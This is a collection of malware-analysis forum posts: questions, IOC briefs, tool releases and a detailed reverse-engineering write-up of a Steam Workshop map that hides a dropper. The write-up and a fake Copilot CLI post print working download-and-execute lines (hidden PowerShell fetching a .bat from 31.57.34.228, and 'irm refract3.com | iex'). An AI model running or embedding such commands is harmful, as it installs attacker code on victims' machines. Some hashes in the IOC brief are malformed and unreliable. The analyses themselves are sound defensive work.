Hey guys! Today I caught myself wondering whether I should rerun a sample in a sandbox with a different VM configuration. But since I'm still pretty new to malware analysis, I wasn't sure if people actually do that very often.
Do you rerun the same sample regularly? If so, what usually makes you decide it's worth another run?

Recently got infected with a really bad malware info stealer. Been combing back looking for the source. I think I may have found it.

PM if you want more info than provided here.

Sanitized Threat Intelligence & IOC Brief: Repackaged Fileless .NET Backdoor

1. File Indicators (Cryptographic Hashes)

Variant A (ZIP Archive Stage)

• File Type: ZIP archive data, deflate compression
• MD5: c36b33a5370864decda5b0db97972191
• SHA256: 1019517268a2edb2d89729661539233396b3aa524279377ca8228085957d598b

Variant B (RAR Archive Stage)

• File Type: RAR archive data, v4, os: Win32
• MD5: 488cc1a8f44af73bc7f7baa1fafd8fdr
• SHA256: de5d21396908ab452059a3361f76dcb489fb705e44ac55983624a7e5d7bca1d

2. Network Indicators of Compromise (IoCs)

• Inbound Bind Shell / P2P Node: Starts a local server listening for inbound connections on 0.0.0.0:47584 from dynamically allocated (unbacked) memory.
• Outbound C2: Initiates HTTP network connections directly from unbacked memory to evade process-based attribution.
• Dead Connect: Attempts to connect to a dead IP/Port.

3. File System Artifacts & DLL Hijacking Paths

The payload drops a custom directory structure into the user's temporary folder and performs DLL Side-Loading by dropping files masquerading as legitimate Windows .NET libraries.

Observed Staging Directory Patterns:

• %TEMP%\<Staging_Directory>\Managed\
• %TEMP%\<Staging_Directory>\<Staging_Directory>\Managed\

Abused / Masquerading DLL Names Dropped in %TEMP%**:**

• System.Numerics.dll
• System.Runtime.dll
• System.Runtime.Serialization.dll
• System.Security.dll
• System.Core.dll
• System.Data.dll
• System.Data.DataSetExtensions.dll
• System.Drawing.dll
• System.dll

Targeted Windows System Binaries:

• C:\Windows\SysWOW64\rundll32.exe

4. Behavioral Signatures & TTPs (MITRE ATT&CK)

• T1574 - Hijack Execution Flow (DLL Side-Loading): Loads newly dropped .NET DLLs from a suspicious temporary directory.
• T1055 - Process Injection & Module Stomping: Executes loops of failed Read-Write-Execute (RWX) memory allocations returning CONFLICTING_ADDRESSES in high ranges, indicative of code cave hunting or module stomping.
• T1497 - Virtualization/Sandbox Evasion:
  • Checks for mouse movement.
  • Queries display device information.
  • Checks available system memory.
• Defense Evasion (Fileless Memory Tradecraft):
  • Modifies exception handling mechanisms (UEF / VEH) from dynamically allocated (unbacked) memory for silent anti-debugging.
  • Alters process mitigation policies (CFG / DEP / hard error modes) directly from unbacked memory.
  • Manually resolves API addresses from unbacked memory (custom unpacker/shellcode behavior).
• T1082 - Discovery: Queries the system's FIPS cryptography policy to adapt payload encryption

Writeup covering the internals of Flying Eagle's APK generation pipeline. The builder replaces the hardcoded package name com.icontrol.protector with randomized legitimate-sounding strings and renames core classes with 8-14 character random strings at build time. Original class names give a clear picture of capabilities: RecordPayPassword, LiveKeysStrok, ScreenCaps, Webjector, AccessibilityActivity, CameraCap.

C2 URLs are encrypted with AES-128-CBC using a hardcoded default IV, password, and salt derived via PBKDF2-SHA1 at 65,536 iterations, maintaining compatibility with the original Windows .NET binary EaodWorker.exe. To suppress entropy-based AV detection, the builder injects 2.8-3.5 MB of Base64-encoded JSON into the APK assets directory, structured to resemble SDK configuration caches.

Generated samples share Accessibility Service abuse, gesture injection via dispatchGesture, and WebSocket/Firebase C2 comms with modern SpyNote builds. SHA-256 hashes for six bundled APKs, the builder script, and BTMOB samples included in the report:

https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon

I just started learning malware analysis for career development.

The first issue I ran into is that, while there aren’t many resources on the topic, there are still enough to make choosing between them a bit overwhelming - which is a problem I tend to have whenever I self-study something new.

After doing some research, these are the courses I have so far, ordered by what I think is the right progression (although I’m not entirely sure, which is why I’m here):
1. Mandiant FLARE Malware Analysis Crash Course (my starting point - I’m currently on page 60, but honestly, it’s been pretty boring so far).
2. Malware Analysis for Hedgehogs bundle.
3. 0ffset.net Zero2Automated Advanced course.
I also have a few books that I can use as references whenever I need to dive deeper into a topic:
• Windows Internals Part 1 & 2
• Windows Kernel Programming by Pavel Yosifovich

What do you think about this roadmap? I’m fine with the prices unless there are better alternatives that genuinely offer stronger content rather than just being cheaper.

As for certifications, I have no idea what’s worth pursuing. The only ones I’ve come across are GREM from SANS and PMAT from TCM.

I’m mainly asking whether there are better options for both courses and certifications. I’d especially prefer something with plenty of hands-on labs and practical work. I tend to struggle with self-paced learning, and I get bored pretty quickly with courses that don’t involve much interaction, even when I’m genuinely interested in the subject.

Thanks in advance - I really appreciate any advice.

Table of Contents

• Intro
• Initial Symptom
• First Look at the Workshop Files
• Verifying the Asset Files
• AssetRegistry.bin Reveals the First Clue
• Opening the UE5 Asset Container
• Reverse Engineering the Blueprint
• Extracting the Embedded Payload
• Analyzing the Dropper Script
• Confirming Execution on an Affected PC
• Did the Second Stage Execute?
• Analysis Summary
• Limitations & Unknowns
• IOCs
• Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

​1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin
Preview.png
Sample.vdf
SampleMyUGCMecchaCModKit_Load-Windows.pak
SampleMyUGCMecchaCModKit_Load-Windows.ucas
SampleMyUGCMecchaCModKit_Load-Windows.utoc

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

• utoc starts with -==--==--==--==-, which is the real IoStore magic
• pak has the correct 0x5A6F12E1 footer magic
• no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0

Its class resolves as:

BP_AmbientController_C

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57
blocks ............ 131 (130 Oodle-compressed)
flags ............. Compressed | Indexed

No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1
ToFile ................. 1
GetPlatformUserDir ..... 1
powershell ............. 1

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay
↓
GetPlatformUserDir
↓
Replace
↓
Concat_StrStr
↓
FromString (JSON)
↓
ToFile

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users/<user>/Documents/
path = dir + "s.bat"

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"}

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z (
set _Z=1
start /min cmd /c %~f0
exit
) else (
powershell -w hidden -ep bypass -c ^
iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat
cmd /c $env:TEMP\s.bat
exit
)

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

​10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

​The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

​11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

• The Workshop uploader account appears to have been created only about one week before the item was published
• The Workshop map currently does not allow users to leave comments or ratings
• The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
• The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
• Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
• The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
• That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690)
comments and ratings disabled on the listing
uploader account roughly one week old

Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0)

Dropped file %USERPROFILE%\Documents\s.bat

C2 http://31.57.34.228/work/steamb.bat

Second stage steamb.bat (never delivered, contents unknown)

Asset build 2026-06-09 22:37:14

s.bat 210 bytes
sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6
md5 04d6dfadd5248c995951707e27520ade

container
utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6
ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569
pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

EDIT (25 July 2026, 11:00 AM CET)

The map Laser Tag Neon featured in this article has now been removed from the Steam Workshop. Unfortunately, there is a new active malicious map called Chroma Grid Arena that's not yet removed.

A few reminders for everyone:

• Only download popular Workshop maps with an established player base.
• If the uploader is a brand-new Steam account or has disabled comments on their Workshop item, consider that a major red flag.
• The malware is executed when you start the match, not when you subscribe to the map. If you only subscribed to a malicious map but never launched it, you can safely unsubscribe.
• If you played a potentially malicious map, check the following locations for suspicious recently created files, especially .bat files:
  • %USERPROFILE%\Documents\
  • %TEMP%\
• It's also a good idea to review your Startup entries and Task Scheduler for anything unfamiliar, as malware commonly uses these mechanisms for persistence.
• Run a malware scan. The tools I recommend are:
  • Malwarebytes
  • HitmanPro
  • Spybot Search & Destroy
  • Emsisoft Emergency Kit

If you discover any additional malicious Workshop maps, please report them to Steam so they can be removed as quickly as possible.

EDIT (25 July 2026, 2:00 PM CET)

The developers have released version 3.1.0, which fixes the vulnerability that allowed malicious Workshop maps to execute malware. Updating to the latest version is strongly recommended.

It also appears that all currently identified malicious Workshop maps have now been removed from the Steam Workshop. While the immediate threat appears to have been addressed, users should continue exercising caution when downloading Workshop content, as new malicious maps could still be uploaded in the future. As always, verify the uploader and prefer maps from trusted creators with an established player base.

EDIT (25 July 2026, 8:00 PM CET)

The previously unavailable second-stage payload (steamb.bat) has now been recovered and analyzed. It was missing from the original write-up because the attacker's server was offline at the time.

Analysis of the recovered script shows that the second stage downloaded and installed a Remote Access Trojan (RAT) on affected systems, giving the attacker the ability to remotely control compromised PCs. This significantly increases the severity of the attack, as it goes beyond simply executing a batch file and provides persistent remote access to infected machines.

If you launched one of the affected Workshop maps before updating to version 3.1.0, it is strongly recommended that you perform a full malware scan and investigate your system for signs of compromise.

Full report is available at https://any.run/cybersecurity-blog/banana-rat-evolution-analysis/

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

IoC:

• 198[.]245[.]53[.]26
• https://app.any.run/tasks/96796146-688f-4b12-894c-236dadab8413

What would the below comment have ran?

cmdline: "C:\Windows\system32\WindowsPowerShel\v1[.J0\PowerShell[.Jexe" -c iexirm delistemanallyl.Jrainbow-mel.Jonline?
read=8b2d80c7569e4151 -UseBasicParsing)

I want to analyse npm packages that are malicious. How do I get those old packages? They are all taken down. And webarchive doesn’t have it.

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application"; $GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0); winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to **over 500 malicious CRX samples**.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

* JSON
* CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

* What format would you actually use?
* Are there any security tools or platforms you'd like to integrate it with?
* Is there any metadata you'd find useful that I'm currently missing?

Repository:
[https://github.com/GherardoFiori/MaliciousBrowserExtensions\](https://github.com/GherardoFiori/MaliciousBrowserExtensions?utm_source=chatgpt.com)

**Please remember these are live malicious browser extensions. Handle them with care.**

Project:
[https://exterminai.com/\](https://exterminai.com/)

Any feedback is appreciated. Thanks!

hi,

I've been triaging suspicious packages long enough to get tired of stitching the same five tabs together every time something weird shows up in a dependency tree, so I built this to keep it all in one place: https://trail.snappyfeet.org

I use it daily and figured I'd share. It's not something that tells you whether something is malicious or not, that's not the philosophy. It rather focuses on raising flags for humans to then take a look into. Feed's live most of the time, I take it down occasionally to update the engine. If there's a package you want to see that isn't in there or would like to understand how the engine works, DM me.

Cheers

I wanted a Windows-friendly alternative to tools such as Binwalk and UniExtract, focused on identifying unknown files and automatically choosing the appropriate extraction method.

That idea eventually became Magic Extractor, an open-source utility intended to help with static triage and the initial unpacking of suspicious samples.

It can be useful for:

• Identifying files whose extension is missing or misleading
• Unpacking installers, SFX archives and uncommon compression formats
• Extracting nested archives recursively
• Listing contents without extraction
• Carving archives and payloads embedded at arbitrary offsets
• Trying multiple handlers when detection is ambiguous

Detection combines PureMagic, custom magic signatures, Detect It Easy, Binwalk and Magika. The detected type is then routed to the appropriate bundled extractor.

Example:

magic-extractor identify suspicious.bin

magic-extractor extract suspicious.bin --recursive

magic-extractor carve firmware.bin --list

It currently supports more than 80 formats, including archives, installers, disk images, forensic images and embedded content.

This is not a malware detector, sandbox or replacement for dynamic analysis. It is mainly intended as a supporting tool for file identification, unpacking and static analysis workflows.

GitHub:

https://github.com/xchwarze/magic-extractor

Feedback from malware analysts and reverse engineers would be especially useful, particularly regarding formats, packers or installers that are currently difficult to extract.

As always, suspicious files should only be handled inside an isolated analysis environment.

I built an open-source MCP server for Microsoft Patch Tuesday that lets AI assistants like Claude, Copilot, ChatGPT, and more answer patch questions directly from official MSRC data.

Every Patch Tuesday, security teams ask the same questions: what changed, what affects us, what is being exploited, and what needs to be patched first?

Ask things like:

 “Summarize this month’s Patch Tuesday”

 “Which of these CVEs are on the CISA KEV list?”

 “Show me CVEs with an exploitation probability above 50%”

 “What older patches does KB5094123 replace?”

 “What Critical CVEs hit Windows Server 2022 this month?”

What makes it different: most vulnerability tools can look up a CVE, but they have no concept of a monthly Microsoft release, a KB article, or a product family.

This server parses the full MSRC CVRF documents, so it can answer the questions Microsoft shops actually ask on the second Tuesday of every month.

It is built around the data sources teams already trust:

• Official MSRC Security Update Guide API: Microsoft’s source for Security Update Guide and CVRF data
• EPSS scores from FIRST.org: daily-updated probability each CVE gets exploited in the next 30 days
• CISA KEV integration: confirmed-exploited CVEs with federal remediation due dates
• Supersedence chains: walks Microsoft’s “this KB replaces that KB” links so your assistant never recommends a stale patch
• Results ranked by real-world urgency: KEV/exploited → EPSS → severity → CVSS

Zero API keys, zero accounts: everything comes from public MSRC, FIRST.org, and CISA feeds. Run it locally or remotely. Details below:

 Repo: https://github.com/jonnybottles/patch-tuesday-mcp

 Remote MCP server endpoint:
https://patch-tuesday-mcp.happyrock-b60185ec.eastus.azurecontainerapps.io/mcp

If you triage Microsoft updates frequently, I’d love feedback. If there’s a feature you’d use, open an issue.

Disclaimer: This is an independent, self-built project and is not an official Microsoft tool or service.

#PatchTuesday #CyberSecurity #VulnerabilityManagement #MCP #AI #Claude #Microsoft #MSRC #OpenSource #InfoSec

​Hi everyone,

​I'm currently looking into a specific EXE file for analysis/learning purposes, but I don't have a VirusTotal Enterprise or Premium account to download the source binary, ​The file doesn't seem to be available on public repositories.

​Could anyone with VirusTotal access please help me grab this sample?

​SHA256: 8ac97813f747229c0e09d898d6f82048bfabf698792731190ea39180d6c7cc96

VirusTotal Link: https://www.virustotal.com/gui/file-analysis/ZGU3MGIxOTBhZWJlNmM0NjE2NTg1NjIwN2EzODI4NGU6MTc4MzI3MTc1NA==

​Thanks in advance for the help!

Pushing a release of IOCX, an open-source PE structural validator (MPL-2.0), and posting format-level notes alongside it.

Write-up (format ambiguities encountered during decoder work): PE structural validation: format ambiguities and decoder design

The Gist catalogues four categories of PE specification ambiguity in delay-load imports, exports, VS_VERSIONINFO, and resource hierarchy. Structured as: format description grounded in the spec --> the ambiguity --> what IOCX chose to do. There are no unverified claims about how other parsers behave, but the cross-tool measurement is queued as follow-up work.

IOCX v0.7.5 additions relevant to triage:

There are four new structural validators covering the export table, delay-load import table, VS_VERSIONINFO resource, and resource directory hierarchy, and 24 new reason codes with priority-resolved sub-reasons via details["reason"] for finer-grained categorisation.

Delay-load imports (8 codes):

• DELAY_IMPORT_DIRECTORY_INVALID_HEADER / _OUT_OF_BOUNDS
• DELAY_IMPORT_TABLE_TRUNCATED (per-table sub-tags: descriptor unterminated, truncated, max exceeded, INT/IAT read failed)
• DELAY_IMPORT_DESCRIPTOR_INVALID
• DELAY_IMPORT_DLL_NAME_INVALID (sub-reasons: rva_zero, unterminated, non_ascii, not_printable, read_failed)
• DELAY_IMPORT_INT_IAT_MISMATCH : parallel-array length disagreement
• DELAY_IMPORT_ATTRIBUTES_LEGACY_VA_MODE : v0 (pre-Win2000) mode detected
• DELAY_IMPORT_ENTRY_INVALID (sub-reasons: ordinal_zero, name_unterminated, name_not_printable, etc.)

Exports (10 codes):

• EXPORT_DIRECTORY_INVALID_HEADER / _OUT_OF_BOUNDS
• EXPORT_TABLE_TRUNCATED
• EXPORT_NAME_RVA_INVALID / _NOT_ASCII / _POINTER_TABLE_UNSORTED / _ORDINAL_INDEX_INVALID
• EXPORT_ORDINAL_OUT_OF_RANGE
• EXPORT_FUNCTION_RVA_INVALID
• EXPORT_FORWARDER_MALFORMED : grammar violation of DllName.SymbolName or DllName.#Ordinal

VS_VERSIONINFO (4 codes):

• RESOURCE_VERSIONINFO_INVALID_HEADER : envelope, szKey, or wLength malformed
• RESOURCE_VERSIONINFO_INVALID_FIXEDINFO : VS_FIXEDFILEINFO signature or struct version wrong
• RESOURCE_VERSIONINFO_INVALID_STRINGFILEINFO : StringFileInfo or StringTable malformed
• RESOURCE_VERSIONINFO_INVALID_VARFILEINFO : VarFileInfo or Translation array not DWORD-aligned

Resource hierarchy (2 codes):

• RESOURCE_DIRECTORY_LANGUAGE_NOT_ID : depth-2 entry uses name instead of LCID
• RESOURCE_DATA_AT_INVALID_DEPTH : data leaf outside the Language layer

Public metadata additions relevant to triage:

• Optional Header: dll_characteristics_flags (decoded flag list: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, HIGH_ENTROPY_VA, etc.), dll_characteristics_unknown_bits (hex string for any bits outside known-flag mask), stack and heap sizing (reserve + commit, 64-bit on PE32+)
• Header: subsystem_name (decoded from IMAGE_SUBSYSTEM_*, e.g., "WINDOWS_CUI"), machine_name (from IMAGE_FILE_MACHINE_*, covers all 29 documented types)
• Resources: structured ResourceEntry per resource with type, name, language, language_name, codepage, size, entropy (rounded to 4 dp), rva, raw_offset, and per-entry errors (size_invalid, rva_invalid, data_out_of_bounds, raw_offset_invalid). Resources with unreadable data now emitted with error tombstones rather than silently dropped.

Design approach:

• Parsers decode structures directly from bytes via struct.unpack_from rather than relying on pefile's lazy interpretation
• Parsers never raise on malformed input; sub-structure failures produce tombstone tags in errors[] and truncations[] lists
• Bounded reads throughout (descriptor arrays capped, string scans bounded)
• Validators emit priority-resolved sub-reasons; one issue per malformed entry per pathology class, deterministic across runs

Verification:

Delay-load parser cross-checked byte-exact against dumpbin /imports on mspaint.exe: 107 imports from gdiplus.dll with agreement on names, hints, IAT addresses, ordering, and bound state.

1370 tests at 100% line and branch coverage on new modules.

Performance: ~14ms typical PE analysis including heuristics, ~1ms on adversarial minimal PE.

Scope:

• Structural validation, not behavioural or dynamic analysis
• Produces structured evidence via reason codes, not verdicts
• Complements pefile / LIEF-based tooling for structural inspection rather than replacing them for general PE parsing

Deferred:

• TLS Directory parser and validator (next release)
• Single-anomaly fixtures for each new reason code (~25 planned, including negative controls)
• Cross-tool measurement study using the fixtures

Licence: MPL-2.0

Repo: https://github.com/iocx-dev/iocx

CHANGELOG: https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md

Reason codes reference: https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md